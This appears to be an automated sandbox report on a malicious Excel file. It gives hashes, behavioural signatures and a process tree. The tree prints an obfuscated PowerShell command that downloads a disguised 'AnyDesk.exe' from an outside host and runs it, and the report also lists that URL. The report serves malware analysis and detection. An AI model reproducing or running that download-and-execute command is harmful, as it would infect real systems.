Analysis
-
max time kernel
31s -
max time network
42s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
04-09-2024 21:22
Behavioral task
behavioral1
Sample
c0271c724570057759359da49e5934de2c1aa04dfacca0b95403241f6f1465cc.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
c0271c724570057759359da49e5934de2c1aa04dfacca0b95403241f6f1465cc.xls
Resource
win10v2004-20240802-en
Errors
General
-
Target
c0271c724570057759359da49e5934de2c1aa04dfacca0b95403241f6f1465cc.xls
-
Size
77KB
-
MD5
0779070c794fbc9d084ed1f066e56fe0
-
SHA1
7af4b1d2509ae0ee2646ab9198ad4b9d6e3fd0a8
-
SHA256
c0271c724570057759359da49e5934de2c1aa04dfacca0b95403241f6f1465cc
-
SHA512
d3bfe3cc1072c6ff2d43d2f058bdf3787b80a5324f8bf5c8708c0a70946a4c1150f4974821ee9339bd0f3fdedaa30094c43ff0a907b722f9e5f212dbc0cbf111
-
SSDEEP
1536:Ck3hOdsylKlgxopeiBNhZFGzE+cL2kdAVezI0ScDNzmVQyrnHRBoESK4nceC7r9p:Ck3hOdsylKlgxopeiBNhZFGzE+cL2kdX
Malware Config
Extracted
http://thepunchlineexpose.com/Manager/AnyDesk.exe
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2540 1552 cmd.exe 82 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1552 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2260 powershell.exe 2260 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2260 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 1552 EXCEL.EXE 1552 EXCEL.EXE 1552 EXCEL.EXE 1552 EXCEL.EXE 1552 EXCEL.EXE 1552 EXCEL.EXE 1552 EXCEL.EXE 1552 EXCEL.EXE 1552 EXCEL.EXE 1552 EXCEL.EXE 1552 EXCEL.EXE 1552 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1552 wrote to memory of 2540 1552 EXCEL.EXE 86 PID 1552 wrote to memory of 2540 1552 EXCEL.EXE 86 PID 2540 wrote to memory of 2260 2540 cmd.exe 90 PID 2540 wrote to memory of 2260 2540 cmd.exe 90
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c0271c724570057759359da49e5934de2c1aa04dfacca0b95403241f6f1465cc.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1552 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\institutionsport.cmd" "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2540 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hi sleep -Se 31;Start-BitsTransfer -Source htt`p://thepunchlineexpose.com/Manager/AnyDesk.e`xe -Destination C:\Users\Public\Documents\weekshe.e`xe;C:\Users\Public\Documents\weekshe.e`xe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2260
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize2KB
MD5ffbc17afc44e8deb0e89785047bbcfe3
SHA169455a0c9aef132508977423649716566bfc99a8
SHA2565c5e3b3918b1d5ffa5a25d38c3bcd662376064505c272f616a09d21b03d556e1
SHA5127d73ecfafab23a8d8e67c4247a4352fe33b3de35c3396264faa070f4ccaeca8b3695f821cf62930698e1165202494dd67198996b3ec5b470182482c178fb8b8d
-
Filesize
206B
MD5e623d1a58b6060f53e373dc8d9850c87
SHA15d7ca4d6ffb2c4c96615b72acbf54060765c861d
SHA25699f121fdaf92f6bfdb6af9bf6813fd10ce95b848378b964739b1ae7e667e34e9
SHA512f8ae81455e3de663d89a255b46b98d3ff01c8741d73be3413163a2743ae2e00e47ec094f253f15cd8d0fa7aba04fbc31c52c7b23350435277a0507cbaa86f74b